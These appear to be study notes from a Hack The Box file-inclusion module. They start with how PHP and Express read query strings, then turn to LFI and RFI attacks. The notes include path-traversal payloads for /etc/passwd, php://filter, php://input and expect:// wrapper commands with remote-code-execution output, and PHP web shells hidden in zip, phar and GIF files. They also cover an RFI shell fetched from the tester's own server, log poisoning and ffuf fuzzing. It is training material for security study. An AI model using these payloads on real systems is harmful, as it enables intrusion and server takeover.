• The path is /index.php.
• The query string is name=alice. Servers strip the query string when deciding which file to read from disk. The query is given to the program that handles the request.

• PHP apps (especially plain PHP scripts) often run via a webserver that routes the request to a PHP interpreter (mod_php, php-fpm). The interpreter runs the script and automatically populates $_GET, $_REQUEST, $_SERVER etc.
• If you use php -S (the built-in server) or have index.php as the entry point, the server hands the request to index.php and PHP sees the query string in $_GET['...']. That feels like PHP “always takes query args” because typical PHP setups route requests to script entrypoints that always get the query.

• Node’s http server simply gives you a raw request object; it does not automatically parse query strings or route requests for you. You must explicitly parse req.url:

// plain node
const http = require('http');
const url = require('url');

http.createServer((req, res) => {
  const parsed = url.parse(req.url, true); // true -> parse query
  console.log(parsed.pathname, parsed.query);
  res.end('ok');
}).listen(3000);

• So Node can use query args — you just have to parse them.

• Express does parse query strings for you and exposes them as req.query for route handlers:

const express = require('express');
const app = express();

app.get('/', (req, res) => {
  // req.query is an object of parsed query parameters
  res.send(req.query);
});

app.listen(3000);

• BUT: when you use express.static() to serve static files, the static middleware ignores query parameters when resolving which file to serve — because queries shouldn’t change which file on disk is requested. Example:
  • Request: /image.png?size=100 → express.static serves image.png (query is ignored for lookup).
  • If you want the query to affect behavior, you must implement a route (not static) that reads req.query and responds accordingly.

• If you were testing with php -S and it routed everything to a script (index.php), that PHP script sees $_GET automatically.
• If you were testing with Express using express.static() or a plain filesystem resolver, then the server will simply serve files and won’t invoke your app logic where you would read query params. That makes it appear that Node/Express “don’t take query args”, but they do — you must read them in code or use a route.

• If you want Express to use query parameters for dynamic behavior, write a route:

app.get('/resource', (req, res) => {
  // e.g. /resource?name=alice
  res.send(`Hello ${req.query.name || 'guest'}`);
});

• If you’re using static files but want the query to control output, intercept and handle the route before express.static:

app.get('/file', (req, res) => {
  // read req.query and respond dynamically
});
// static as fallback
app.use(express.static('public'));

• Do you need to parse query? In Express use req.query. In Node use url.parse(req.url, true) or new URL(req.url, ...).
• Are you using static middleware? Query strings won’t change which file is served. Use a route if you want to act on queries.
• Is your server routing requests to a single entrypoint (like index.php)? Then that entrypoint will always receive the query params.

if (isset($_GET['language'])) {
    include($_GET['language']); // unsafe: user-controlled path
}

if(req.query.language) {
    fs.readFile(path.join(__dirname, req.query.language), function (err, data) {
        res.write(data);
    });
}

app.get("/about/:language", function(req, res) {
    res.render(`/${req.params.language}/about.html`);
});

<c:if test="${not empty param.language}">
    <jsp:include file="<%= request.getParameter('language') %>" />
</c:if>

<c:import url= "<%= request.getParameter('language') %>"/

// vulnerable
include($_GET['language']);     // e.g. ?language=/etc/passwd

include("./languages/" . $_GET['language']);

• ../ refers to the parent directory.
• Chain .. segments to climb directories: ../../../../etc/passwd. So ?language=../../../../etc/passwd can reach /etc/passwd from a deep web directory.

• Repeating ../ beyond the filesystem root doesn’t break the path — it stays at /. So if you don’t know the exact depth, extra ../ won’t harm the attempt (but is noisy).
• Don’t rely on verbose error messages: showing PHP errors in production leaks information. Errors are useful for testing but not required for an attack.
• This traversal trick works whether the parameter is used alone or concatenated — it’s a reliable default technique.

• Avoid including user-controlled paths entirely.
• Use a whitelist of allowed filenames or map short tokens to files.
• Canonicalize and validate paths (e.g., realpath() and confirm the result is inside an allowed directory).
• Run web processes with least privilege and consider chroot or container isolation.

include("lang_" . $_GET['language']);

include($_GET['language'] . ".php");

?language=non_existing_directory/../../../etc/passwd/./././././ REPEATED ~2048 times]

$language = str_replace('../', '', $_GET['language']);

if(preg_match('/^\.\/languages\/.+$/', $_GET['language'])) {
    include($_GET['language']);
} else {
    echo 'Illegal path specified!';
}

CSmarwen@htb[/htb]$ ffuf -w /opt/useful/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u `http://<SERVER_IP>:<PORT>/FUZZ.php`

...SNIP...

index                   [Status: 200, Size: 2652, Words: 690, Lines: 64]
config                  [Status: 302, Size: 0, Words: 1, Lines: 1]

php://filter/read=convert.base64-encode/resource=config

CSmarwen@htb[/htb]$ curl `"http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"`

<html lang="en">
...SNIP...
 <h2>Containers</h2>
    W1BIUF0KCjs7Ozs7Ozs7O
    ...SNIP...
    4KO2ZmaS5wcmVsb2FkPQo=
<p class="read-more">

CSmarwen@htb[/htb]$ echo '<?php system($_GET["cmd"]); ?>' | base64

CSmarwen@htb[/htb]$ curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' `"http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id"` | grep uid          
uid=33(www-data) gid=33(www-data) groups=33(www-data)

CSmarwen@htb[/htb]$ curl -s `"http://<SERVER_IP>:<PORT>/index.php?language=expect://id"` uid=33(www-data) gid=33(www-data) groups=33(www-data)

• Source of the file
  • RFI: attacker supplies a remote URL (http://attacker/shell.php) and the server fetches & executes it.
  • LFI: attacker supplies a local path (/etc/passwd, ../../logs/access.log) and the server reads/includes files from disk.

1. The vulnerable function may not allow including remote URLs
2. You may only control a portion of the filename and not the entire protocol wrapper (ex: http://, ftp://, https://).
3. The configuration may prevent RFI altogether, as most modern web servers disable including remote files by default.

CSmarwen@htb[/htb]$ echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_includeallow_url_include = On

echo '<?php system($_GET["cmd"]); ?>' > shell.php

sudo python3 -m http.server 80

http://victim/ include.php?page=http://YOUR_IP:80/shell.php&cmd=id

CSmarwen@htb[/htb]$ echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif

1. Create a tiny PHP web shell.
2. Compress it into an archive but give the archive an innocuous extension (e.g. shell.jpg).
3. Use the zip wrapper to include the PHP from the archive via the LFI.

# create a simple web shell and package it inside shell.jpg
echo '<?php system($_GET["cmd"]); ?>' > shell.php
zip shell.jpg shell.php

<?php$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');

$phar->stopBuffering();

1. Inject PHP code into a field the server logs
   • Example: Submitting a form with something like <?php system($_GET['cmd']); ?> in a field.
   • Or sending a custom User-Agent header containing PHP code.
2. The server logs your input
   • This input is now in a log file.
3. Exploit a file inclusion vulnerability
   • If the app has a function that allows including arbitrary files, like include($_GET['page']);
   • And if the log file is readable by PHP (read privileges), you can include the log file.
4. PHP executes the code inside the log
   • Your injected code runs on the server.
   • Boom — you achieve remote code execution.

• Server Webroot: this is the process of finding as much information about the server, where it keeps uploads. To do so, we need to fuzz for the location of our index.php file using once again LFI, the command would look something like this CSmarwen@htb[/htb]**$** ffuf -w /opt/useful/seclists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php' -fs 2287